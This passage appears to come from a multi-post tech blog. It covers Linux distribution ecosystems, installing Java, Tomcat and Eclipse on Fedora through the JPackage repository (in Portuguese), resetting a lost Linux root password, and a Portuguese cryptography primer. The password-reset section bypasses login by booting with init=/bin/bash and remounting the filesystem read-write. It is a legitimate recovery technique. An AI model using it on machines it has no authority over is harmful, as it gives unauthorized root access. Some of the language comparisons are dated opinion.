Even if these other enterprise distributors have better products, they’ll have to spend a considerable amount of energy developing an ecosystem of ISVs and IHVs. More than that, ISVs and IHVs will have to take a break in their operations to listen to what these new distributors have to offer.

Ecosystem is everything. A product with a good ecosystem can easily become much better than an excellent product without an ecosystem. This is probably the most important aspect a company should consider when choosing a Linux distribution.

One cannot say that a certain distribution is better than all others. When searching for a distribution one should be pragmatic in striking a balance between the distribution’s functions and how well it meets the goals of the company or specific project.

Instalando Java e Eclipse em Linux

permalink Porque Java com Linux ?

Nos primórdios das tecnologias, todas elas nasciam proprietárias porque seus criadores queriam explora-las ao máximo, por serem todas novidades.

Depois da popularização do PC, e mais ainda, da Internet, fabricantes começaram a se reunir ao redor de Padrões Abertos para criar uma rede de valor onde todos — fabricantes e usuários — acabam ganhando.

Os Pilares do e-businessExistem hoje inúmeros Padrões Abertos, mas os que se destacam são os seguintes:

  • HTML
    É a representação universal de interfaces com usuários. Hoje qualquer usuário de computador sabe usar um browser e navegar através de um hipertexto. HTML, ou melhor ainda, hoje, DHTML ou AJAX, é o padrão aberto para aplicações interagirem com usuários.
  • XML
    Antes de XML, não havia um padrão aberto amplamente aceito que permitisse qualquer aplicação falar com qualquer outra aplicação, mesmo de fabricantes diferentes. XML se tornou a base dos Web Services e Arquitetura Orientada a Serviços, que traz o benefício da integração de processos, com parceiros, clientes e fornecedores.
  • Java Enterprise Edition
    Java é a tecnologia escolhida por toda a indústria para transformar processos de negócio em software. É o Padrão Aberto para se escrever aplicações. Antes de Java, desenvolvedores usam diversas linguagens, sem uma metodologia universal de programação e sem nenhum padrão de bibliotecas de alto nível. JEE (Java Enterprise Edition) é um padrão de biblioteca com métodos universais para aplicações de negócio.
  • Linux
    É o sistema operacional escalável e multiplataforma para rodar tudo isso. É o componente aberto que faltava para ligar a lógica de negócio com padrões abertos de HW.

Essas quatro tecnologias juntas provém tudo que um desenvolvedor precisa para criar suas aplicações de negócio.

permalink Java comparado a C/C++, PHP, Perl e Python

Cabe ao desenvolvedor escolher a linguagem/tecnologia certa para a aplicação certa. Não só os aspectos tecnológicos devem ser levados em conta, mas também aceitação no mercado, aderência a padrões, reputação, política de atualização da tecnológica, prontidão para uma aplicação de negócios, etc.

  • C é uma linguagem criada para desenvolver sistemas operacionais, ou algoritmos de baixo nível, quase no nível da máquina, e é nesse nível que essa linguagem se sai melhor. C++ surgiu a alguns anos trazendo orientação a objetos, mas ambas linguagens falharam em padronizar suas semânticas e, principalmente, bibliotecas multiplataforma abertas, e de uso genérico. A não ser que você esteja escrevendo sistemas operacionais, ou bibliotecas de acesso a hardware, uma linguagem mais prática que C ou C++ deve ser escolhida para desenvolver sua aplicação de negócio.
  • PHP é uma linguagem/tecnologia desenhada para criar páginas web dinâmicas. Seus programas são geralmente mesclados com código HTML e equivale a JSP e ASP. É muito usada e provou seu valor, porém tem pouca penetração no mundo corporativo e de aplicações de negócio (de fabricantes de SW), e por isso pouco suporte da indústria para que a tecnologia evolua como um padrão. Então, por ser um investimento de risco, dificilmente uma grande empresa vai escolher PHP como tecnologia estratégica para a confecção de suas aplicações críticas, mesmo porque PHP é mais madura somente para aplicações web.
  • Perl é abreviação de Practical Extract and Reporting Language, que sugere ter sido criada para manipular texto. A linguagem e suas bibliotecas cresceram para muito além disso, e há hoje quem a use para fazer grandes sistemas. Porém isso é considerado um exagero de uso, pois os programas são interpretados em tempo de execução, o que acarreta performance limitada, e é de fato desenhada para automatizar tarefas de sistema operacional. Python, apesar de ser mais moderna e poder ser compilada, não foge muito deste escopo também. Além disso, ambas ainda não conseguiram uma aceitação comercial madura, e, não representando um investimento seguro a longo prazo, ainda não tem sido escolhidas como estratégicas para a fábrica de SW de uma empresa, ou para um sistema complexo e de missão crítica.

Em contrapartida, a tecnologia Java tem as seguintes características:

  • Atingiu um nível de maturidade e aceitação de toda a industrial que o torna um investimento seguro quando da escolha de uma plataforma de desenvolvimento de aplicações de negócio.
  • Evolui de acordo com as decisões de um comitê independente chamado Java Community Process, onde empresas e indivíduos votam igualmente para a aceitação de uma novidade. São integrantes ativos do JCP empresas como IBM, Apache Software Foundation, Dolby Laboratories, JBoss, SAP, Oracle, Nokia, Sony, etc. Lista completa em http://jcp.org/en/participation/members.
  • Toda a indústria respeita as decisões do JCP, evitando o surgimento de derivados (forks) de comportamento diferente.
  • É um grande polo tecnológico, tendo somente .NET como seu polo oposto e concorrente (e ainda imaturo de certa forma).

permalink Instalando Java Em Linux

Há muitas formas de instalar a JVM em Linux, mas há somente uma forma correta: usando RPM através do repositório JPackage.

permalink Sobre Repositórios de RPMs

A instalação de um pacote RPM pode falhar se outro pacote precisa ser instalado antes. Isso é conhecido como o inferno das dependências.

Para resolver este problema a comunidade criou ferramentas de instalação de pacotes como o Yum e o APT, que, junto com os metadados oferecidos por um repositório de RPMs, liquidam este problema calculando tudo que é necessário fazer para instalar certo pacote, atualizando automaticamente pacotes já instalados, ou instalando novos, tudo para satisfazer as dependências do pacote que o usuário deseja instalar.

Um repositório é um site na web que contem vários RPMs e metadados de interdependências sobre esses pacotes, que são usados por ferramentas como yum e apt-get.


permalink
O projeto JPackage e seu Repositório de RPMs

jpackage logoO JPackage é um repositório de RPMs de alta qualidade de softwares relacionados a Java. É uma comunidade de pessoas que empacotam em RPM as JVMs mais conhecidas do mercado, bem como softwares Java populares como Tomcat, Eclipse, Jakarta, etc.

A primeira pergunta que surge depois que dizemos isso é: “Mas as JVMs da Sun, IBM, etc já não são disponibilizadas em RPM ?�? Sim, mas cada fornecedor empacota como bem entende, sem seguir nenhum padrão de diretórios ou do sistema operacional. E essa despadronização faz a tecnologia como um todo ser mais difícil de usar.

O Projeto JPackage resolveu isso definindo uma organização de diretórios que permite multiplas JVMs, e lugares padronizados para arquivos JAR, WAR, EAR, etc. O JPackage inovou simplesmente aplicando os conceitos do Filesystem Hierarchy Standard — um padrão aberto dos mais importantes para Linux — aos softwares Java.

O resultado é tão bom, que a Red Hat, SUSE, Mandriva e outros adotaram o padrão JPackage de empacotamento e diretórios para tudo que se refere a Java em suas distribuições (RHEL, Fedora, SLES, SLED, OpenSUSE, NLD, Mandriva, etc).

permalink Problemas do JPackage

O JPackage tem uma diretriz de fornecer em seu repositório somente RPMs de softwares livres. Por isso, softwares que não tem licenças livres estão lá somente como RPMs-fonte, que não são tão simples de se instalar, mas mesmo assim promovem a organização e a qualidade do JPackage. Entre esses softwares estão a própria JVM, que vamos demonstrar sua instalação agora.

permalink Inicializando o JPackage em seu sistema

Antes de instalar qualquer RPM oferecido pelo JPackage, você precisa configurar as ferramentas que acessam e instalam os pacotes automaticamente no seu sistema.

Nos nossos exemplos, vamos usar o Fedora Linux com YUM. Pode-se optar pelo apt-get ao invés do YUM, ou de outra distribuição Linux ao invés do Fedora. No caso do Red Hat Enterprise Linux ou CentOS, o processo é idêntico.

permalink Tenha o YUM ou apt-get no seu sistema

No caso do Fedora 4, RHEL 4 ou CentOS 4, já temos o YUM instalado no sistema, e só teremos que configura-lo.

No caso de outro Linux, você pode testar se estas ferramentas estão instaladas simplesmente executando o comando yum ou apt-get.

Se você finalmente concluiu que não as tem, encontre-as aqui:

Nos nossos exemplos, vamos usar o Yum.

permalink Configure o YUM para usar o repositório JPackage

Basta instalar um arquivo de configuração no diretório /etc/yum.repos.d/ desta maneira:

bash# cd /etc/yum.repos.d/
bash# wget http://www.jpackage.org/jpackage.repo

Edite o arquivo jpacakge.repo que você acabou de baixar habilitando e desabilitando os canais de RPMs específicos para seu sistema. Por exemplo, no nosso Fedora Core, garantimos que os canais jpackage-generic e jpackage-fc contém a linha “enabled=1�?.

permalink Instale o primeiro pacote

O pacote jpackage-utils deve estar instalado para começar usar o repositório. Nas últimas versões das distribuições populares, ele já está instalado. Nesse caso é boa idéia atualiza-lo.

Para fazer isso:

bash# yum install jpackage-utils   # No caso de não estar instalado ainda.
bash# yum update jpackage-utils    # Para atualiza-lo.

permalink Instalando a Máquina Virtual Java (JVM)

Esta é uma das partes mais difíceis porque por questões de licensa o Projeto JPackage não tem permissão para prover o RPM pronto para ser instalado de softwares que tem licensa restrita. É o caso de todas as JVMs comerciais. O JPackage provê o pacote fonte que a partir dele pode-se construir fácil, porém manualmente, o RPM instalável. E vamos demonstrar isso aqui.

permalink JVM da IBM

Seguimos estes passos:

  1. http://www.jpackage.org
  2. Procuramos e baixamos o nosrc.rpm da JVM da IBM. A última vez que olhamos estava em http://mirrors.dotsr…./java-1.5.0-ibm-1.5.0.2.3-3jpp.nosrc.rpm
  3. Consultamos o pacote para descobrir de onde se baixa a JVM da IBM com o comando rpm:
    bash# rpm -qpi java*nosrc.rpm
    Name        : java-1.5.0-ibm               Relocations: (not relocatable)
    Version     : 1.5.0.2.3                         Vendor: JPackage Project
    Release     : 3jpp                          Build Date: Tue 15 Aug 2006
    Install Date: (not installed)               Build Host: tortoise.toronto.redhat.com
    Group       : Development/Interpreters      Source RPM: (none)
    Size        : 395165271                        License: IBM Binary Code License
    Signature   : (none)
    Packager    : Thomas Fitzsimmons
    URL         : http://ibm.com/developerworks/java/jdk/linux/download.html
    Summary     : IBM Java Runtime Environment
    Description :
    This package contains the IBM Java Runtime Environment.

    e descobrimos que devemos procurar na URL marcada.

  4. Fomos para http://ibm.com/developerworks/java/jdk/linux/download.html, nos registramos, escolhemos baixar a SDK 1.5 (que é a versão do RPM) em formato tar-gzip (tgz). Tivemos que baixar também a biblioteca javacomm do mesmo lugar. No fim copiamos tudo para o diretório de fontes para RPMs assim:
    bash# cd /diretorio/onde/baixei/SDK
    bash# cp ibm-java2-sdk-50-linux-i386.tgz /usr/src/redhat/SOURCES
    bash# cp ibm-java2-javacomm-50-linux-i386.tgz /usr/src/redhat/SOURCES

    No SUSE, copie para /usr/src/rpm/SOURCES.

  5. Construimos os pacotes finais com este simples comando:
    bash# cd /diretorio/onde/baixei/nosrc.rpm
    bash# rpmbuild –rebuild java*nosrc.rpm

    e vimos uma série de coisas acontecendo: é a construção do pacote.

  6. Quando terminou, encontramos todos os pacotes gerados em /usr/src/redhat/RPMS/i386. Instalamos todos assim:
    bash# cd /usr/src/redhat/RPMS/i386
    bash# rpm -Uvh java*ibm*rpm

    e a JVM da IBM está instalada.

O padrão JPackage definiu que a JVM deve ser a soma de uma série de sub-pacotes, todos com nome padronizado, e os que geramos neste exemplo são:

java-1.5.0-ibm-1.5.0.2.3-3jpp.i386.rpm A JRE mínima. É o pacote básico que você deve instalar.
java-1.5.0-ibm-alsa-1.5.0.2.3-3jpp.i386.rpm Suporte a arquitetura de audio ALSA do Linux.
java-1.5.0-ibm-plugin-1.5.0.2.3-3jpp.i386.rpm Java Plugin para os browsers Mozilla e Firefox. Não obrigatório.
java-1.5.0-ibm-devel-1.5.0.2.3-3jpp.i386.rpm O compilador Java e a SDK. Instale-o se você vai programar em Java.
java-1.5.0-ibm-src-1.5.0.2.3-3jpp.i386.rpm Fontes de programas em Java, para estudo e teste.
java-1.5.0-ibm-jdbc-1.5.0.2.3-3jpp.i386.rpm Driver JDBC genérico para o unixODBC genérico. Não é necessário se você vai usar o driver JDBC de seu banco de dados.
java-1.5.0-ibm-demo-1.5.0.2.3-3jpp.i386.rpm Alguns programas demo. Não é obrigatório.
java-1.5.0-ibm-javacomm-1.5.0.2.3-3jpp.i386.rpm Java Communications API para Linux.

No JPackage há modelos de empacotamento (src.rpm) das JVMs da IBM, Sun, BEA e Blackdown. Para instalar qualquer uma delas, você terá que construir o RPM como demonstramos aqui.

A diferença entre elas está no nome do RPM (“ibm�?, “sun�?, “blackdown�?), e você pode ter instalado em seu sistema JVMs de vários fornecedores simultaneamente. Os RPMs de todos os fornecedores, segundo o padrão JPackage, obedecem esta mesma convenção de nomes de sub-pacotes.

permalink Instale Outros Softwares Java que Não Tem Fonte

Será necessário instalar outros RPMs sem fonte para usar corretamente outros pacotes populares do JPackage. Tentanto instalar o tomcat, verificamos que ele necessita do JTA, que é uma API de transações.

Então repetimos os conceitos do passo anterior:

  1. Começamos em http://jpackage.org
  2. Procuramos e baixamos o nosrc.rpm da JTA. A última vez que olhamos estava em http://mirrors.dotsrc.org/jpackage/1.6/generic/non-free/SRPMS/jta-1.0.1-0.b.4jpp.nosrc.rpm
  3. Consultamos o pacote (ou as infos sobre o pacote em jpackage.org) para descobrir de onde se baixa a JTA, com comando rpm, e descobrimos que precisamos procurar em http://java.sun.com/products/jta/.
  4. Desta vez, tivemos que baixar dois ZIPs: o de classes e o de documentação. E copiamos ambos para o diretórios de fontes de RPM
    bash# cd /diretorio/onde/baixei/JTA
    bash# cp jta*-classes.zip jta*-doc.zip /usr/src/redhat/SOURCES
  5. Construimos os pacotes finais e instalamos os RPMs gerados:
    bash# cd /diretorio/onde/baixei/nosrc.rpm
    bash# rpmbuild –rebuild jta*nosrc.rpm
    bash# cd /usr/src/redhat/RPMS/noarch
    bash# rpm -Uvh jta*rpm

    E a JTA está instalada.

permalink Instalando outros Softwares Java pelo JPackage

Neste ponto, você já tem o repositório JPackage configurado no seu sistema, e a JVM de sua escolha instalada conforme ditam os padrões FHS de diretórios do Linux.

Agora é muito fácil instalar qualquer outra aplicação, biblioteca ou JAR disponível no JPackage, representado pelo nome do pacote na lista a esquerda em http://www.jpackage.org.

Para instalar ou atualizar um pacote, bastam os seguintes comandos respectivamente:

bash# yum install [nome do pacote]    # Para   instalar.
bash# yum update [nome do pacote]     # Para atualizar.

O YUM, usando os metadados do repositório, vai resolver todas as dependências, baixar tudo que for necessário, e instalar os pacotes.

permalink Exemplo: Instalando o Apache Tomcat

O Apache Tomcat é um servlet container, que se integra ao webserver e permite a criação e execução de aplicações web feitas em Java (servlets).

Para instalar o Tomcat, segundo nosso exemplo anterior, basta:

bash# yum install tomcat5

Após resolver todas as dependências, o YUM determinou que para instalar o Tomcat, seria necessário instalar também vários módulos do Jakarta, Axis, módulos de XML, etc. E tudo foi automaticamente baixado e instalado num mesmo passo.

permalink Instalando o Eclipse

O Eclipse foi a princípio uma poderosa ferramenta de desenvolvimento de aplicações, ou IDE.

Desde a versão 3, ele foi reestruturado para ser um “servidor de aplicações�? de desktop. Ou seja, se tornou o que chamamos de Rich Client Platform — ou RCP — que é uma base genérica que provê a infraestrutura padronizada que qualquer aplicação de desktop precisa. O IDE então passou a ser uma aplicação, um plugin, do RCP. O IDE Java está no JPackage com o nome de eclipse-jdt, e para instala-lo, basta:

bash# yum install eclipse-jdt

Como sempre, todos os outros módulos necessário para estes componentes serão automaticamente selecionados e instalados.

O ícone do Eclipse deve aparecer no menu inicial, pronto para ser usado.

System Rescue Without a Password

So you lost your Linux root password.

No panic. There is a way to reset it:

  1. Turn the computer on and pay attention.
  2. When the bootloader (GRUB or LiLo) screen appears, select the partition you want to fix the password.
  3. Do not boot it yet. Go into edit mode for this partition.
  4. In the end of the kernel boot parameters line, include this init=/bin/bash.
  5. Then boot the partition.
  6. You will see a very fast boot. And right after the pure kernel initialization you’ll receive a root command line. If you try to change a password at this time (with the passwd command), you’ll get a message that means you don’t have write permissions on the filesystem.
  7. So you’ll have to put your system in a read-write state whit this commands:
    bash# mount /proc
    bash# mount -o remount,rw /
  8. All set. Now use the passwd command to change the root password.
  9. Now type the following: sync; sync; exit. Then reset the system.

Note: If the computer has a BIOS or Bootloader password that you don’t know, you won’t be able to use this technique.

The idea here is to change the default program that is executed to setup all the OS environment, right after the kernel initialization. By default it is /sbin/init, and what we did above is to change it to /bin/bash — a regular shell prompt, a command line.

Tudo que você precisa saber sobre Criptografia

…e tinha medo de perguntar

A palavra “criptografia” vem do grego e significa “escrita escondida”. Bem, ainda não temos a tecnologia dos filmes de fantasia onde um pergaminho aparentemente em branco revela um mapa do tesouro quando exposto ao luar, mas a criptografia simula isso transformando a informação em algo ilegível ou aparentemente sem valor. Muito fácil: se eu rabiscar bem um cheque de R$100.000,00 ele também perde seu valor por ficar ilegível.

O difícil é o inverso: tornar legível o ilegível, e é aí que está a magia da criptografia.

O primeiro lugar onde alguém antenado pensaria em usar criptografia é na guerra, para comunicar estratégia de movimentação a tropas distantes, espionagem, etc. Se o inimigo intercepta essa comunicação, principalmente sem o primeiro saber, ganha a guerra. Por isso quem primeiro estudou técnicas de criptografia foram os militares, governos e instituições de pesquisas secretas. Focavam em duas coisas: como criptografar melhor e como descriptografar as mensagens do inimigo (criptoanálise).

Na nossa Era da Informação e Internet, criptografia tem um papel central porque viabiliza comunicação segura. Mais até: não teríamos uma Era da Informação se criptografia não fosse de uso dominado por qualquer cidadão, simplesmente porque o mundo comercial não entraria nessa onda de trocar informação (e fazer negócios) por redes abertas se não houvesse um meio de garantir confidencialidade.

Trata-se de um tema muito vasto, fascinante, com muitos desdobramentos tecnológicos. Então vamos somente nos focar em entender aqui o vocabulário desse mundo.

Criptografia de Chave-Simétrica

Criptografia digital já era usada secretamente desde 1949 por militares e governos. Em meados da década de 1970 a IBM inventou o padrão DES (Data Encription Standard) de criptografia, que passou a ser largamente utilizado até os dias de hoje. A partir daí tudo mudou.

Como exemplo de seu funcionamento, se a Paula quer enviar uma mensagem secreta para Tatiana, ela deve fazer isso:

Mensagem + ChaveSimétrica = MensagemCriptografada

Então MensagemCriptografada é enviada para Tatiana por uma rede aberta, que para lê-la terá que fazer o seguinte:

MensagemCriptografada + ChaveSimétrica = Mensagem

Uma analogia a essas equações seria como se ambas trocassem caixas que abrem e fecham com uma chave (a chave simétrica), que contém cartas secretas. Para a Tatiana abrir a caixa da Paula, terá que usar uma cópia da chave que a última usou para fecha-la.

O que representamos pela soma (+) é na verdade o algoritmo de cifragem (ou o mecanismo da fechadura) que criptografa e descriptografa a mensagem. Hoje em dia, esses algoritmos tem geralmente seu código fonte aberto, e isso ajudou-os a se tornarem mais seguros ainda, pois foram limpos e revisados ao longo dos anos por muitas pessoas ao redor do mundo.

A Chave Simétrica é uma seqüencia de bits e é ela que define o nível de segurança da comunicação. Ela deve ser sempre secreta. Chama-se simétrica porque todos os interessados em se comunicar devem ter uma cópia da mesma chave.

O DES com chave de 56 bits pode ser quebrado (MensagemCriptografada pode ser lida sem se conhecer a chave), e outros cifradores de chave simétrica (symmetric-key, ou private-key) mais modernos surgiram, como 3DES, AES, IDEA, etc.

O maior problema da criptografia de chave simétrica é como o remetente envia a chave secreta ao destinatário através de uma rede aberta (e teoricamente insegura). Se um intruso descobri-la, poderá ler todas as mensagens trocadas. Mais ainda, comprometerá a comunicação entre todo o conjunto de pessoas que confiavam nessa chave.

Criptografia de Chave Pública

Esses problemas foram eliminados em 1976 quando Whitfield Diffie e Martin Hellman trouxeram a tona os conceitos da criptografia de chave pública também conhecida por criptografia por par de chaves ou de chave assimétrica. Trata-se de uma revolução no campo das comunicações, tão radical quanto é o motor a combustão para o campo de transportes. Eles descobriram fórmulas matemáticas que permitem que cada usuário tenha um par de chaves de criptografia matematicamente relacionadas, uma privada e outra pública, sendo a última, como o próprio nome diz, publicamente disponível para qualquer pessoa. Essas fórmulas tem a impressionante característica de o que for criptografado com uma chave, só pode ser descriptografado com seu par. Então, no nosso exemplo, Paula agora enviaria uma mensagem para Tatiana da seguinte maneira:

Mensagem + ChavePública(Tatiana) = MensagemCriptografada

E Tatiana leria a mensagem assim:

MensagemCriptografada + ChavePrivada(Tatiana) = Mensagem

E Tatiana responderia para Paula da mesma forma:

Resposta + ChavePública(Paula) = RespostaCriptografada

Ou seja, uma mensagem criptografada com a chave pública de uma, só pode ser descriptografada com a chave privada da mesma, então a primeira pode ser livremente disponibilizada na Internet. E se a chave privada da Paula for roubada, somente as mensagens para a Paula estariam comprometidas.

O cifrador de chave pública tido como mais confiável é o RSA (iniciais de Rivest, Shamir e Adleman, seus criadores).

Criptografia assimétrica permitiu ainda outras inovações revolucionárias: se Tatiana quer publicar um documento e garantir sua autenticidade, pode fazer:

Documento + ChavePrivada(Tatiana) = DocumentoCriptografado

Se um leitor conseguir descriptografar este documento com a chave pública da Tatiana significa que ele foi criptografado com a chave privada da Tatiana, que somente ela tem a posse, o que significa que somente a Tatiana poderia te-lo publicado. Nasce assim a assinatura digital.

Infraestrutura para Chaves Públicas

O PGP (Pretty Good Privacy) foi o primeiro sistema de segurança que ofereceu criptografia de chave pública e assinatura digital de qualidade para as massas. Ficou tão popular que virou o padrão OpenPGP e posteriormente recebeu várias implementações livres. É largamente usado até hoje, principalmente em troca de e-mails. Sua popularização exigiu que houvesse uma forma para as pessoas encontrarem as chaves públicas de outras pessoas, que muitas vezes nem eram conhecidas pelas primeiras. No começo dos tempos do PGP, haviam sites onde as pessoas publicavam suas chaves públicas para as outras encontrarem. Talvez esta foi a forma mais rudimentar de PKI ou Public Key Infrastructure. PKI é um conjunto de ferramentas que uma comunidade usa justamente para a classificação, busca e integridade de suas chaves públicas. É um conjunto de idéias e não um padrão nem um produto. Conceitos de PKI estão hoje totalmente integrados em produtos de colaboração como o Lotus Notes da IBM, e seu uso é transparente ao usuário.

Certificados Digitais

Como Tatiana pode ter certeza que a chave pública de Paula que ela tem em mãos, e que está prestes a usar para enviar uma mensagem segura, é realmente de Paula? Outra pessoa, agindo de má fé, pode ter criado uma chave aleatória e publicado-a como sendo da Paula. Podemos colocar isso de outra forma: como posso ter certeza que estou acessando realmente o site de meu banco e não um site impostor que quer roubar minha senha, e meu dinheiro? Não gostaria de confiar em meus olhos só porque o site realmente se parece com o de meu banco. Haveria alguma forma mais confiável para garantir isso ?

Em 1996, a Netscape, fabricante do famoso browser, atacou este problema juntando o que havia de melhor em criptografia de chave pública, PKI (através do padrão X.509), mais parcerias com entidades confiáveis, e inventou o protocolo SSL (Secure Socket Layer ou TLS, seu sucessor), e foi graças a este passo que a Internet tomou um rumo de plataforma comercialmente viável para negócios, e mudou o mundo.

Para eu mandar minha senha com segurança ao site do banco, e poder movimentar minha conta, o site precisa primeiro me enviar sua chave pública, que vem assinada digitalmente por uma outra instituição de grande credibilidade. Em linhas gerais, os fabricantes de browsers (Mozilla, Microsoft, etc) instalam em seus produtos, na fábrica, os certificados digitais dessas entidades, que são usadas para verificar a autenticidade da chave pública e identidade do site do banco. Este, por sua vez, teve que passar por um processo burocrático junto a essa entidade certificadora, provando ser quem diz ser, para obter o certificado.

O SSL descomplicou essa malha de credibilidade, reduzindo o número de instituições em quem podemos confiar, distribuindo essa confiança por todos os sites que adquirirem um certificado SSL.

Na prática, funciona assim:

  1. Acesso pela primeira vez o site de uma empresa que parece ser idônea.
  2. Ele pede o número de meu cartão de crédito.
  3. Se meu browser não reclamou da segurança desse site, posso confiar nele porque…
  4. …o site usa um certificado emitido por uma entidade que eu confio.

Pode-se verificar os certificados que o fabricante do browser instalou, acessando suas configurações de segurança. Você vai encontrar lá entidades como VeriSign, Thawte, Equifax, GeoTrust, Visa, entre outros.

Segurança Real da Criptografia

Quanto maior for a chave de criptografia (número de bits) mais difícil é atacar um sistema criptográfico. Outros fatores influenciam na segurança, como a cultura em torno de manter bem guardadas as chaves privadas, qualidade dos algoritmos do cifrador, etc. Este último aspecto é muito importante, e tem se estabilizado num bom nível alto, porque esses algoritmos tem sido produzidos num modelo de software livre, o que permite várias boas mentes audita-los e corrigir falhas ou métodos matemáticos ruins.

A segurança real de qualquer esquema de criptografia não foi comprovada. Significa que, teoricamente, qualquer um que tiver muito recurso computacional disponível pode usa-lo para quebrar uma mensagem criptografada. Teoricamente. Porque estaríamos falando de centenas de computadores interconectados trabalhando para esse fim. Na prática, hoje isso é intangível, e basta usar bons produtos de criptografia (de preferência os baseados em software livre), com boas práticas de administração, e teremos criptografia realmente segura a nossa disposição.